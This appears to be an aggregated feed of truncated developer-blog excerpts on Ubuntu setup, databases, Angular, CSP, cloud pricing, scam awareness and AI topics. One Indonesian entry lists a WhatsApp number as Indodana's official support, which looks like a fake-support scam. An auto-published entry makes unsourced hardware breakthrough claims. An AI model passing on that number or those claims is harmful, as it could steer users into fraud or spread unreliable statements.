Author: Carlos Orue Part 1 of 3: Base System Setup This is the first article in a three-part series on deploying production-ready applications on Ubuntu Server 24.04 LTS: Part 1: Ubuntu Installation and Base Setup (this article) - Deploy and configure a secure Ubuntu Server foundation Part 2: Docker and Container Management (coming soon) - Set up Docker for containerized application deployment Part 3: CI/CD for Python Applications (coming soon) - Automate testing and deployment with modern CI/CD pipelines Ubuntu Server 24.04 LTS (Noble Numbat) has become the gold standard for cloud Virtual Private Server (VPS) deployments. Whether you're deploying a personal project, launching a startup, or managing production infrastructure, Ubuntu LTS releases provide the reliability, security, and ecosy…  ( 23 min )

Docker was introduced in 2013, changing the way software is developed and deployed almost overnight. Thirteen years later, container security is still not discussed nearly enough. To help you navigate this evolving space, here are the top 5 books on Docker and Kubernetes security for 2026. In curating this list, I considered: Relevance: Coverage of modern container security practices, including recent advances in Docker, Kubernetes, and supply-chain security. Practicality: Hands-on examples, real-world case studies, and actionable advice. Author Expertise: Books written by practitioners with deep experience in DevOps, security, and cloud-native systems. Community Feedback: Positive reception and long-term relevance in the container community. Note: 3 of the 5 books in this list were publis…  ( 8 min )

Recent Breakthrough in Edge AI: Ultra-Low Power Consumption Imagine a small, intelligent sensor that can be embedded into everyday objects, revolutionizing the way we interact with our surroundings. The latest breakthrough in Edge AI has made this vision a reality. Researchers at our lab have successfully developed an Edge AI chip that consumes a mere 10 microwatts of power, making it suitable for deployment in extremely low-power devices. What's even more impressive is that this chip is capable of processing complex neural networks in real-time, using a novel architecture that we call "Hierarchical Spiking Neural Networks" (HSNN). HSNN mimics the way our brains process information, using electrical spikes to efficiently transmit data. The concrete detail that sets this breakthrough apart is its ability to detect and classify objects in a 3D environment using only a single camera. This is a significant achievement, as most Edge AI systems require multiple cameras or sophisticated sensors to achieve similar results. Our HSNN chip achieves this feat using a technique called " depth-from-shading," which infers depth information from the shadows and highlights in an image. This technology has far-reaching implications for applications such as smart homes, smart cities, and even wearable devices. Imagine a future where your phone or smartwatch can detect and analyze your surroundings in real-time, without draining your battery in the process. The possibilities are endless, and we're excited to see where this technology takes us. Publicado automáticamente  ( 6 min )

The Quantum Leap in Machine Learning: Why Quantum Supremacy is Overhyped As we navigate the vast expanse of machine learning (ML), the buzz around quantum ML has reached a fever pitch. While some hail quantum computing as the next revolutionary leap in AI, I believe the excitement has overshadowed a crucial aspect: the practical limitations of our current understanding. Quantum supremacy, the concept of demonstrating a quantum computer's ability to solve a problem that's intractable for classical computers, has been touted as a benchmark for quantum ML's potential. However, I argue that this metric is a narrow measure of success. It focuses solely on solving complex mathematical problems, neglecting the fact that most real-world problems involve uncertainty, noise, and error – all challeng…  ( 7 min )

You're a software engineer. You know how to write efficient code. But are you writing code efficiently? Research shows developers spend only 3-4 hours per day in actual deep work—the rest is lost to meetings, context switching, and tool inefficiencies. That's not a motivation problem. It's a systems problem. This article covers 7 productivity hacks used by top developers that can reclaim 6-10 hours of focus time per week without working longer. These aren't generic "stay organized" tips—they're specific, technical strategies backed by cognitive science and adopted by high-performing engineering teams at companies like GitLab, Basecamp, and Linear. I've personally used all 7 of these techniques for the past 3 years, and they've transformed how I code, manage my calendar, and protect my focu…  ( 12 min )

In a concurrent database context locks are used to prevent race conditions between data accesses. To handle these situations we need to decide how we'll react to a race condition, in an optimistic or an pessimistic way. This article will be a quick summary for when using each of the approaches and how to apply them in PostgreSQL. We tend to use pessimistic locks when data is frequently changed and it's known that conflicts are common. The idea of the strategy is to use a lock in a database level that blocks other processes to access the locked rows. This will add more latency because of the blocking behavior, so given that the tradeoff here needs to be considered at scale. Overall, this approach is used when data being updated is critical, we can't take the action atomically in the databas…  ( 9 min )

I am currently working on the project YouTubeLayer. The prototype worked fine initially, but when I tried to move it to a working production system and scale it, everything started breaking. It felt like playing Jenga — touch one block, and the whole tower comes crashing down. That’s when I stumbled upon something that completely changed the way I thought about software design — the SOLID principles. These five principles aren’t just fancy theory; they’re a way of writing code that’s easy to understand, extend, and maintain. And trust me — once you start applying them, your code (and your sanity) will thank you. Let’s go through them one by one, in the simplest way possible 👇 Definition: only one reason to change — in other words, it should do only one thing. In plain English: Example: Us…  ( 9 min )

Next.js 16 enabled Turbopack as a default bundler. It is fast, modern, and noticeably improves the DX in many areas. But when I started adding SVG icons to my project, I realized the common options did not cover my needs: I wanted icons to be inlined, so they display instantly without an extra network request. I wanted to avoid the SVG-in-JS performance penalty (more on this later). I wanted to customize icon color via CSS. And everything had to be compatible with Turbopack, not just Webpack. I tried the popular SVG approaches for Next.js apps: built-in , SVGR, SVG sprites. They are all well-known and widely used, but none of them fully matched my requirements. Let’s look at why they fall short and how I built a custom Turbopack loader that solved the issue. Let me quickly show wh…  ( 12 min )

Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* SQLite is insanely fast and better-sqlite3 is one of the fastest Node.js bindings for it. But there’s a catch: better-sqlite3 is synchronous. entire Node.js event loop freezes until the query finishes. Most apps never notice this because SQLite is quick. But if you're building an API, SSR site, search system, analytics dashboard, or anything with heavy SELECT / INSERT queries… You can hit performance issues. This is where Worker Threads come in. This post explains: What problem worker threads solve How they work with better-sqlite3 H…  ( 8 min )

Amazon Web Services is pretty much the cloud platform everyone talks about these days. With over 200 services, though, figuring out what you actually need can get overwhelming fast. You don’t need to become an AWS wizard to build something solid in the cloud. Most successful cloud projects stick to 10–15 core AWS services that cover the basics — computing, storage, databases, and security. Whether you’re a startup putting out your first app or a big company moving to the cloud, these services are the real backbone. They show up in nearly every AWS deployment I’ve seen. Let’s run through the AWS services you’ll bump into in almost any project. I’ll also point out the crucial tools that keep your stuff secure and humming along. If you focus on these proven services, you’ll have what you need…  ( 11 min )

In today’s fast-paced software environment, teams are no longer satisfied with manually tracking test cases in spreadsheets or disconnected tools. They want a centralized way to plan, execute, and monitor testing that aligns directly with development and business workflows. By the end of this guide, you’ll understand not just the features of ServiceNow Test Management, but how it solves real problems, connects QA with change management, and helps your organization achieve reliable, scalable, and auditable ServiceNow testing processes. ServiceNow Test Management is a structured module designed to plan, execute, and track test cases across IT and business applications. Unlike standalone spreadsheets or disconnected tools, it provides a centralized platform that connects QA efforts with devel…  ( 13 min )

A post by Theekshana Udara  ( 6 min )

Most people think ChatGPT gives random or shallow answers - but in reality, the quality of its output depends entirely on how you structure the input. Modern LLMs respond best when you treat them like highly capable assistants: give them a role, context, constraints, and a clear outcome. In this post, I’ll walk through 10 advanced prompting techniques that consistently produce expert-level answers, cleaner code, deeper analysis, and more useful documents. These techniques are based on 2026-era model behavior and are designed for developers, founders, analysts, and anyone who uses AI for daily work. For a deeper dive and more examples, check out my extended guide: 10 powerful prompts for ChatGPT Large language models don’t "guess" what you want—they follow instructions. Here are four fundam…  ( 8 min )

In this comprehensive, step-by-step tutorial, you will learn how to build and deploy a complete MERN stack blog application ("Bitblog") from scratch. This isn't just a simple demo; it's a full-featured platform with a modern front-end, a secure back-end, and a complete admin dashboard to manage all your content, users, and comments. This is the perfect portfolio project to impress employers! By the end of this video, you will have built: 💻 Front-End Tech Stack: ⚙️ Back-End Tech Stack: 🔗 ESSENTIAL LINKS: https://docs.blog-api.codewithsadee.com/ https://drive.google.com/file/d/1zAjiFs7HSpm41RCSzEDQmBPHrjJ5tEHU/view?usp=sharing https://www.patreon.com/posts/source-code-blog-140001975?utm_medium=clipboard_copy&utm_source=copyLink&utm_campaign=postshare_creator&utm_content=join_link https://buymeacoffee.com/codewithsadee/e/462834 https://www.patreon.com/posts/rest-api-source-130599482?utm_medium=clipboard_copy&utm_source=copyLink&utm_campaign=postshare_creator&utm_content=join_link https://gist.github.com/codewithsadee/e60ef18142d09b2f8ca5ae991452a3bb http://hostinger.com/in/codewithsadee TIMESTAMPS: Like, share, and subscribe for more full-stack tutorials!  ( 7 min )

Imagine you’re the Chief Architect of a futuristic city called CloudVille. Every time a new district needs to be built—homes, roads, power lines, streetlights, water systems—your team builds everything manually. It works… but not really. One engineer wires things differently. Someone forgets a streetlight. Two districts were supposed to be identical… they’re not. And if a district collapses? Rebuilding takes forever. Your city is growing fast, and chaos is becoming expensive. 🏗️ Enter CloudFormation — The Magical Blueprint One day, the Council of CloudVille gives you a special book. Each page describes an entire district: What buildings exist How big they are How roads connect What power grid they use You write the plan once, give it to the magical builders, and… ➡️ The entire district ap…  ( 7 min )

Advertising is Evolving: Here's Where It's Heading in the AI Era As developers, we’re in the midst of an AI renaissance. Large Language Models (LLMs) are transforming how we interact with technology, yet many AI applications still struggle with a crucial challenge: monetization. Enter Monetzly, the first platform that empowers developers to both monetize their apps and earn revenue from hosting relevant ads—think of it as the Google Ads for AI conversations. While the market for AI applications is booming, many developers find themselves facing a significant hurdle: how to monetize their creations without disrupting user experience. Traditional subscription models or paywalls can alienate users and stifle engagement. This is where Monetzly steps in to create a win-win scenario for develo…  ( 7 min )

Introduction A while back I was given a list of books to read in order to become a world class software engineer.One of these books was A Philosophy of Software Design by John Ousterhout. As the title implies, this book describes a way to design software. I would add how to design software that is easy to maintain. As experienced engineers know, software engineering isn't just about creating software. User requirements may change in the future and new features may need to be added,bugs may be discovered in the existing functionality or changes in the existing codebase to make the code more efficient may be needed. However, changing the existing codebase to incorporate these changes may interrupt existing functionality. This usually occurs because the code written was complex in the first p…  ( 9 min )

Hey fellow developers! I just released a Laravel package that makes it easy to add a database-driven chatbot to your applications. Features include: Keyword-based Q&A with AND/OR logic Conditional responses and session variables Buttons and dynamic replies Admin UI to manage intents/questions Floating web chat widget or embedded web page API support for programmatic messaging Whether you want a customer support bot, FAQ bot, or just an interactive chat, this package has you covered. 🎥 Check out the demo video here: LinkedIn Video 📦 Get it on Packagist: Laravel Chatbot  ( 6 min )

This blog summary traces my journey from using AI as a simple code generator to leveraging it as a strategic architect and product owner. By refining my prompting strategies and treating the AI as an expert consultant, I unlocked higher-quality outputs, critical analysis, and automated quality assurance. My journey began with functional, context-heavy requests. I realized early on that providing the AI with the "big picture" was crucial for productivity. The Contextual Foundation: Instead of asking for snippets, I started by asking the AI to "Analyze the codebase to generate guiding instructions for AI agents.". This ensured the AI understood the architecture, workflows, and conventions before writing a single line of code. Formatting vs. Architecting: Initially, I used the AI for lower-…  ( 8 min )

One of the most common questions I get is: "Should I use the Async Pipe or subscribe manually?" The answer is: Use the Async Pipe whenever possible. Subscribe manually only when necessary. Here is the breakdown of both approaches. If you simply need to display data from an API on the screen, do not subscribe in your TypeScript file. Pass the stream directly to the template. Why? Automatic Cleanup: Angular handles the unsubscription. Cleaner Code: No ngOnInit or ngOnDestroy needed. OnPush Compatible: Works great with performance optimizations. {{ data.title }} Sometimes, you can't use the pipe. Maybe you need to assign the data to a local variable to modify it, or send it to an analytics service. In this case, you must manage the memory yourself. The safest way is the takeUntil pattern. export class MyComponent implements OnDestroy { // 1. The Signal: Create a Subject to act as the "killer" private destroy$ = new Subject(); constructor(private dataService: DataService) {} ngOnInit(): void { this.dataService.getData() // 2. The Guard: Keep stream alive UNTIL destroy$ emits .pipe(takeUntil(this.destroy$)) .subscribe(response => { this.data = response; // Logic happens here (e.g. calculations, logging) this.calculateTotals(response); }); } ngOnDestroy(): void { // 3. The Trigger: Signal the subject to complete this.destroy$.next(); this.destroy$.complete(); } } Summary: Displaying data? Async Pipe. Processing logic? Manual Subscription + takeUntil. Don't mix them up, and your app will run smooth as butter.  ( 7 min )

SEO: Geotracking, coverage, Visual Positioning System (VPS), ARCore, Geospatial API, ARKit, AR, 街景定位, 视觉定位 太长不看： 调用官方 checkAvailability 方法 通过苹果地图 Look Around 来确定街景地图覆盖地区 查询苹果图像收集网站列表 Apple 在 ARKit 4 时期推出了基于街景的 AR 定位服务，通过综合摄像头采集的图像、设备 GPS、以及所在地的地图信息，来更加精确地确定当前所处的位置。因为街景地图都经过了“地理配准”——即所有街景图可以被认为其对应的地理位置坐标都是准确的，因此，通过比较摄像头画面与街景地图，即可通过视觉算法匹配到摄像头所处的位置坐标。 在使用这项服务时，一定会用到 ARGeoTrackingConfiguration 这个类。其中，它涉及到判断设备当前所处位置是否支持街景定位服务。在这项功能刚推出的2020年左右，ARGeoTrackingConfiguration 文档的 Supported areas and cities 里面列出了当时该服务支持的区域。当时，几乎只有美国和世界几个主要城市的核心区域支持该项服务，如果没记错的话，包括纽约、旧金山、洛杉矶、芝加哥、巴黎、新加坡等地。随着时间的推移，支持的地点数量逐渐变多。直到2023年末的一天，我在查看文档时突然发现，支持城市列表不见了！ 直到今天，许多有关的文档仍指向这个文档的列表 For a list of supported areas and cities, see ARGeoTrackingConfiguration. 然而，在最初的城市列表无处寻觅时，应该如何确定某个地区是否支持街景定位呢？ 其实，这个列表逐渐与“苹果图像收集”项目合为一体，其网址在：https://maps.apple.com/imagecollection 。可以看到，经过几年的发展，苹果地图逐渐羽翼丰满，几乎所有美国主要城市都有街景地图支持了。 另外，文档里提供了两个 checkAvailability 方法，用来确定当前设备位置/某一坐标是否支持街景定位。 class func checkAvailability(completionHandler: @escaping (Bool, (any Error)?) -> Void) 最后，苹果地图如今也支持街景地图功能了。点击左下角望远镜标识的“Look Around”功能，就能查看附近的街景地图。理论上，支持街景地图的街道也应支持街景定位。 未完待续……  ( 6 min )

When people hear that I studied Architecture for my BSc, they’re always surprised when I introduce myself today as a Software Engineer. But in reality, the transition wasn’t as strange as it sounds. I spent years learning architectural design, drawings, modelling, building science and how to bring concepts to life. Architecture teaches structure, logic, precision and the importance of breaking big ideas into small, buildable units. Funny enough… At some point during my degree, I realized I enjoyed creating, but not just buildings. I wanted something more dynamic, something that allowed me to build faster, explore ideas quickly and bring solutions to life without waiting months or years. I discovered programming accidentally. instant creation. Transitioning wasn’t smooth: I had to learn to …  ( 10 min )

I often say this program changed my life — and I mean it in the deepest, most genuine way. It has shaped my personal and professional growth in ways I never imagined as someone just exploring AWS. My journey with AWS Community Builders began back in 2020, when I was invited to join while still an AWS Student Ambassador. At that time, I was just a kid fascinated by cloud, clueless about communities, and excited by every new AWS announcement. I had no idea how profoundly this program would impact my life. The Early Days — When Everything Was Raw, Chaotic, and Beautiful When I joined, the program was very different from what it is today. Back then: People would drop questions randomly in Slack. A few of us would jump on quick calls to help each other out. I myself asked countless technical …  ( 10 min )

If you’re using Makefiles — add a make help command. Simple hack, huge productivity boost. help: @awk 'BEGIN {FS=":"} \ /^#/ {comment=substr($$0,3)} \ /^[a-zA-Z0-9_-]+:/ {printf "\033[36m%-20s\033[0m %s\n", $$1, comment}' Makefile  ( 6 min )

SQL Server 2025 has been officially announced at Microsoft Ignite 2025 and is now generally available. It had been in public preview since May of 2025 and consumers have been eagerly anticipating the official release of one of Microsoft's most popular software products. I had previous written a fun article where I used AI and historical date like previews, events, and past release dates to try and guess the release date of SQL Server 2025. Now it's finally here, and with it comes a whole host of highly anticipated features, most notably AI integration. Built-in AI & vector search SQL Server 2025 adds native support for vector-stores/indexing (via DiskANN) enabling semantic search over large datasets. You can combine traditional keyword SQL queries with vector‐based search in one engin…  ( 7 min )

Cara Hapus Atau Nonaktifkan akun Indodana Untuk membatalkan layanan Indodana (baik pinjaman tunai atau transaksi PayLater), Anda harus menghubungi whatsapp+62822193377) layanan pelanggan resmi Indodana secara langsung. Tidak ada opsi pembatalan instan melalui aplikasi.  ( 6 min )

TL;DR CSP is an HTTP header that tells browsers "only run scripts from these trusted sources." It's your defense against XSS attacks where hackers inject malicious JavaScript into your site. Start with Content-Security-Policy-Report-Only to see what breaks, fix inline scripts by adding nonce attributes, whitelist external domains you trust, then enforce with Content-Security-Policy. Test using Google's CSP Evaluator. Avoid 'unsafe-inline' and 'unsafe-eval' like the plague—they defeat the whole purpose. https://www.writesoftwarewell.com/content-security-policy/ So you've been building web apps for years, and suddenly someone mentions "CSP" in a code review or security audit. Don't worry—I was in the same boat not long ago. Here's the deal: CSP (Content Security Policy) is basically a b…  ( 13 min )

Creating test cases has always been one of the most time-consuming tasks in software development. QA teams spend countless hours manually translating requirements into test steps, often struggling to cover all edge cases or keep up with frequent product updates. That’s where leveraging natural language processing (NLP) and machine learning can generate test cases automatically, map requirements to scenarios, and even update tests as code changes occur. Today, over 40% of QA teams have already adopted AI-powered testing tools, with test-generation models producing scripts with up to 85% accuracy and reducing execution time by around 30%. These tools aren’t just a productivity booster; they are transforming how teams approach testing. In this guide, we’ll break down the best AI test case gen…  ( 16 min )

Cincinnati holds the distinction of being the first in the United States to establish a municipal fire department in 1853, as well as the first to install a fire‑station pole. This marked a turning point in the history of firefighting, as the new technology of the steam pump let small dedicated groups of professionals stop fires much faster than ever before. But the arrival of the steam pump was not immediately embraced by the public, as many people distrusted this new disruptive technology. Over 120 years later, we are once again seeing defenders leveraging new technology, namely AI, that is also being met with a lot of skepticism. This parallel made "Cincy" the perfect backdrop for hackers to get together to talk security and trends at Queen City Con 0x3. Hundreds of security pros, compl…  ( 11 min )

Meta's finally doing it. After two years of watching Threads grow to 200+ million users while sitting on a goldmine of ad inventory, they're opening the floodgates in Q1 2026. And look, I get the excitement. New platform, untapped audience, CPMs that don't make your CFO cry. But here's the thing: being an early adopter doesn't mean throwing money at every new ad product Meta ships. (Remember Reels ads in 2021? Yeah, some of us paid $40 CPMs to learn that lesson.) The smart play isn't rushing in. It's moving deliberately with a framework that accounts for what we actually know versus what we're guessing about. Threads isn't Twitter. It's not LinkedIn. And it's definitely not Instagram with words. The user behavior here leans conversational and community-driven. People show up for ongoing di…  ( 11 min )

Introduction If you’re building a simple landing page, portfolio, or SaaS website, chances are you need a contact form. But here’s the catch: HTML forms don’t work on their own. For many developers, especially beginners, setting up a backend just to handle a form feels like unnecessary work. And that’s why thousands search for things like “HTML form without backend” every month. In this guide, you’ll learn exactly how to handle HTML form submissions without building your own backend, using formgrid.dev Setting up a backend just to collect form submissions comes with a lot of overhead: You need a server (Node, PHP, Python, etc.) You need routing, validation, and spam protection You must configure email notifications You need a database to store submissions You must worry about …  ( 8 min )

I just released a new beginner-friendly challenge on ReactChallenges — and it’s completely free! 🎧 Equalizer Challenge (Beginner – FREE) You’ll build an animated equalizer made of multiple bars that update every few milliseconds. It’s a fun, visual way to practice core React skills: No prior React experience needed beyond the basics. As always, the challenge includes: www.reactchallenges.com/challenges/35 (The challenge is fully open — no account required.) Hope you enjoy it! If you know someone learning React, feel free to share it 🙌  ( 6 min )

Overview An interrupt is a hardware signalling mechanism used by peripherals to asynchronously notify the processor of events. At the electrical level, a device asserts a signal—traditionally through a physical interrupt pin, or in modern PCIe systems through MSI/MSI-X messages. Hardware flow for a line-based interrupt: +-----------+ IRQ Line +----------------+ Vector +---------+ | Device |------------>| Interrupt Ctrl |---------->| CPU | | (e.g WiFi)| | (APIC/GIC) | | Core n | +-----------+ +----------------+ +---------+ (asserts level/edge) (maps line→vector) | v Interrupt Entry A peripheral …  ( 10 min )

TL;DR: I built an ethical, open-source scanner called FleaMarket that finds exposed API keys in fresh GitHub repos. In a recent scan, it discovered live Google/Gemini keys in public .env files — and I helped owners secure them before any abuse occurred. API keys in public code are like leaving your house keys under the doormat. Even if you think no one will look — bots do. Thousands of keys are scraped every hour, leading to: Unexpected cloud bills (Stripe, Google Cloud, AWS) Data exfiltration Account takeovers While GitHub’s native secret scanning blocks many leaks, new keys still slip through — especially in non-standard files like .env.vercel, .env.backup, or examples. So I built FleaMarket: a lightweight, ethical secret hunter focused on fresh, high-risk repositories. FleaMarket is a P…  ( 8 min )

At Mapbox, we’ve been shipping a ton of new developer tutorials to help you get started and level up as you integrate our maps and location services into your web and mobile apps. But first: 🔥 We launched a brand-new step-by-step tutorial UI. It’s cleaner, more focused, and way easier to follow as you move through code, concepts, and hands-on tasks. Below is the full list of new and refreshed tutorials — grouped by platform so you can jump right into the stack you’re working with. React, Angular, Vue & GL JS Dynamic Markers & Popups in React https://docs.mapbox.com/help/tutorials/dynamic-markers-react/ POI Search in React (Search Box API) https://docs.mapbox.com/help/tutorials/poi-search-react/ Toggle Layers with Checkboxes (React) https://docs.mapbox.com/help/tutorials/rea…  ( 8 min )

TL;DR Imagine if you could convert your Figma designs into production-ready React + Material UI code faster than you can grab a coffee. In this guide, you will learn how to convert Figma designs into production-ready React code in minutes using Kombai, a specialized frontend AI agent that's about to become your new best friend. Before we jump in, here is what we will cover: What is Kombai? Setting up the Kombai AI Agent in your IDE (VS Code, Cursor, etc.) Connecting Figma with Kombai Adding Figma design to Kombai Configuring your tech stack Reviewing code generation plan Running & previewing your app using Kombai browser Here is a preview of the final results. What is Kombai? Kombai is an AI agent purpose-built for frontend development. It generates beautifu…  ( 13 min )

⚠️ When Your Voting Rights Become a Weapon for Cybercriminals 🔒 Your Vote Is Yours — Don’t Give It Away to a Stranger “Not every ‘verification call’ protects your vote — some steal your identity.” 🖊️ SHUBHRA • 19th November, 2025 • Indian Cyber Fraud Awareness & Mobile Malware Prevention It’s 7:45 PM. Your phone rings. “Sir/Madam, I’m calling from the Election Office regarding your SIR verification. It’s mandatory. Please confirm the OTP you just received. And download the SIR APK I send you — it’s required for voter list verification.” The caller sounds trained. Your details match. The caller ID looks official. You share the OTP. You install SIR.apk. And just like that… your phone stops being your phone. Within minutes: Your SMSes are mirrored Your OTPs are hijacke…  ( 8 min )

Introduction : What the F is this? If you're getting into OTT (Over-The-Top) streaming development (whether for Smart TVs, web platforms, streaming startups or whatever crazy project you are working on), understanding video players is a must. This article explains, in a beginner-friendly way: ✔ What a video player actually does HLS and MPEG-DASH, as well as what DRM is What Exactly Is a Web Video Player? A web video player is the part of a streaming app that: Displays the video (of course 🤦) Controls playback (play/pause/seek) Loads segments over the internet Manages adaptive streaming (quality changes) Handles DRM (if required; More on this in a future article) Under the hood, a player works on top of HTMLVideoElement, and may rely on: MSE (Media Source Extensions) → lets the player…  ( 9 min )

SQLAlchemy and Alembic give you a safer, more controlled way to evolve your schema over time. In the FastOpp Country Store project, that shows up when you do something simple but dangerous in real life: add a new column to an existing table in SQLite. Can you migrate your data without blowing everything up? This tutorial follows the flow of the “FastOpp Country Store 05 – Add New Column to SQL Table” video. You will: Change a SQLModel database model in FastOpp (SQLModel runs on top of SQLAlchemy) Create and run database migrations (via Alembic under the hood) Fix a real migration error from SQLite I've been working with Django for a number of years on multiple projects for clients. I just got a breakthrough understanding working on a project called FastOpp. The big realization was this: Wh…  ( 10 min )

Software developers are the ones who invent the technologies we sometimes take for granted. For instance, that website helps you to track, notify and motivate you about your financial activities. A software developer helped design that. And when you take your smartphone into the hands, clicking and scrolling through social media, music, email, and your personal calendar - software developers had a big hand in shaping those, too. You might spend some time online shopping, and before you make that big purchase, you check your bank account balance using your banking app. Later, you're cooking a new recipe from that great app your friend told you about. As you look over the course of your day, you come to see that software developers are the masterminds behind the technologies you now can't ev…  ( 7 min )

Kirby Air Riders’ “Starlit Journey” Breakdown 8bitMusicTheory dives into the main theme “Starlit Journey” from Kirby Air Riders, dissecting its intro, verse, chorus, bridge, and final choruses to show why it feels so joy-packed. Each section gets its own timestamp—0:00 for the theme, 0:59 intro, 2:47 verse, 5:56 chorus, 9:51 bridge, and 10:47 for the grand finale—so you can jump straight to your favorite part. If you’re all about retro game music and want more deep dives (plus merch, Patreon perks, Discord hangouts, and Twitter updates), the creator’s got you covered with handy links to their community and support pages. Watch on YouTube  ( 6 min )

Check out this Pen I made!  ( 6 min )

Some people already know JavaScript. A one-size-fits-all roadmap simply doesn’t work in 2026. So I created a roadmap that does two things: It gives you a clear step-by-step path. It adapts to your skill level, time, and learning goals using AI. If I had to start frontend development from scratch today, this is exactly the path I’d follow. Let’s get into it. If I were starting again, I would not begin with a framework. I’d learn the three fundamentals deeply: ✔ HTML — the structure Learn semantic elements, forms, document flow, accessibility basics. ✔ CSS — the visuals Master Flexbox, Grid, responsive design, layouts, spacing, and animations. ✔ JavaScript — the logic Get comfortable with DOM manipulation, events, fetch, promises, async/await, and modular code. Once you understand these thre…  ( 8 min )

For most of us, the internet just works. We open an app, tap a button, and expect it to respond. We rarely think about the layers behind it. Servers, routing, caching, security, global networks. They stay invisible until something cracks. That is why the outages this October and November felt so serious. AWS went down on the 20th. Azure followed on the 29th. Then on November 18, Cloudflare failed around the world. In less than thirty days, three of the biggest cloud providers stumbled. When they did, a large part of the internet stumbled with them. ChatGPT stopped responding. X showed endless error pages. PayPal could not process payments. Uber Eats orders froze in progress. League of Legends kicked players out of matches. Canva users lost unsaved work. Even Downdetector, the site everyone…  ( 8 min )

Working remotely as a developer has become the norm, but having the right tools can make the difference between just surviving and truly thriving. Here are 10 completely free resources that have become essential for remote developers in 2025. Still the gold standard for code editors. Free, extensible, and with a massive plugin ecosystem. If you're not using it yet, you're missing out on thousands of productivity-boosting extensions. Beyond just version control, GitHub offers free private repositories, GitHub Actions for CI/CD, and GitHub Pages for hosting. Essential for any developer. StreamBackdrops provides 500+ professional virtual backgrounds specifically optimized for video calls. Unlike generic stock photos, these are designed with proper camera angles and lighting for Zoom, Teams, a…  ( 7 min )

‘Weird Science’ Rewatchables Deep Dive Bill Simmons and Kyle Brandt revisit John Hughes’s 1985 cult classic Weird Science, breaking down everything from its wild “sex, drugs, rock ’n’ roll, chips, dips, chains, whips” energy to the on-screen chemistry of Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Expect their signature mix of nostalgia, pop-culture trivia and hilarious hot takes on the film’s most unforgettable moments. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this episode is proudly sponsored by State Farm’s Personal Price Plan®. Don’t miss more Ringer content—subscribe to The Ringer-Verse and Bill Simmons YouTube channels, visit theringer.com, or follow on Twitter, Facebook and Instagram. Watch on YouTube  ( 6 min )

AWS just released flat-rate plans for CloudFront and related services, wrapping together WAF, Route53, CloudFront Function, logging, and more. Sounds tempting, especially with a free tier. You can read more about AWS's announcement on their blog. Is it really worth it? AWS has announced four pricing tiers: Free, Pro ($15/month), Business ($200/month), and Premium ($1,000/month). Of course, each has different capabilities and limits included. I had thought about creating a big table to compare what's available, but it quickly got too complicated. You can check out AWS's non-marketing comparison of features by pricing tiers in their documentation. I do want to call out a few things that are included and excluded from some of the lower tiers. I'm not going to focus as much on the Business and…  ( 9 min )

Hello, Today I want to share with you very quick tutorial. If you are developer like me, you know that the deployment can be a headache. We always search for the easiest way to put our code online. Usually, I use Heroku or Vercel, but last years I moved to DigitalOcean App Platform and it is amazing. It is very fast and professional. Many people think DigitalOcean it expensive, but if you want , you can host your Node.js and MongoDB application for free (using the free credits). Here is how to make it in just 5 minutes. What you need before we starting A GitHub account: Your code must be push to a repository for example we will use this open source erp crm based on nodejs react : https://github.com/idurar/idurar-erp-crm DigitalOcean Account: If you don't have one, you can get $200 free cr…  ( 7 min )

Introduction Reaching high accuracy on standard benchmarks like CIFAR-100 is challenging. In this article, I show how I trained a ResNet-50 with PyTorch to achieve 84.35% test accuracy and provide a production-ready repository with a live Streamlit demo. GitHub & Demo: cifar100-classification CIFAR-100: 100 fine-grained categories, only 500 images per class → hard to classify. ResNet-50: classic, widely adopted, and great for transfer learning. Public ResNet-50 implementations rarely exceed ~81% on CIFAR-100; hitting 84.35% is rare and significant. High class similarity → tough separation Limited images → risk of overfitting Mid-range GPU constraints → careful optimization needed Architecture: Pretrained ResNet-50 (ImageNet), modified final layer for 100 classes Training: OneCycleLR scheduling for fast convergence Progressive fine-tuning: FC only → Layers 3&4 + FC → Full model Mixed-precision training & checkpointing Data Augmentation: Resize → ColorJitter → RandomHorizontalFlip RandomRotation (±15°) → RandomAffine → GaussianBlur → RandomErasing Mixup α=0.8 & CutMix α=0.8 (p=0.5) Label smoothing Metric Value Test Accuracy 84.35% Test Loss 0.7622 Best Val Loss 0.9729 Epochs 66 Even on mid-range GPUs like NVIDIA GTX 1650 (~15.5 hours), this setup achieved state-of-the-art ResNet-50 results on CIFAR-100. Streamlit app lets you upload images and get predictions + confidence scores. Repo structure: cifar100-classification/ ├── app.py ├── train.ipynb ├── requirements.txt ├── README.md ├── model_checkpoint.pth └── ... Classic architectures + modern tricks (augmentation, LR scheduling) can outperform expectations Sets a practical benchmark for ResNet-50 on CIFAR-100 Next steps: ResNet-101, EfficientNet, ViT, larger datasets, API or edge deployment Share with fellow ML & CV enthusiasts Modify augmentations or architecture and test Comment your results — can we push beyond 85%?  ( 7 min )

Introduction HTML is the backbone of the web. Whether you’re building a simple landing page or architecting a complex web application, HTML (HyperText Markup Language) is the first language you encounter. It defines the structure of web content and acts as the foundation upon which CSS and JavaScript bring style and interactivity. In this article, we’ll explore what HTML is, how it came to be, its role in modern web development, and the core syntax every developer should know—all backed by examples to solidify the concepts. HTML was created by Tim Berners-Lee in 1991 while he was working at CERN. His goal was simple yet revolutionary: to build a way for researchers to share documents across different systems using hyperlinks. Key milestones in HTML’s evolution: HTML 1.0 (1991–1995) – The…  ( 8 min )

In the rapidly evolving landscape of social media intelligence and digital marketing, access to accurate, real-time data has become the cornerstone of successful campaigns and research initiatives. The Twitter/X Scraper represents a powerful solution designed to bridge the gap between data availability and actionable insights, offering professionals a comprehensive toolkit for extracting valuable information from one of the world's most influential social platforms.​ The Twitter/X Scraper distinguishes itself through a robust array of capabilities that address the core needs of data professionals, researchers, and marketers. At its foundation, the tool enables users to scrape both followers and following lists of any Twitter/X user, providing a complete picture of social network structures…  ( 9 min )

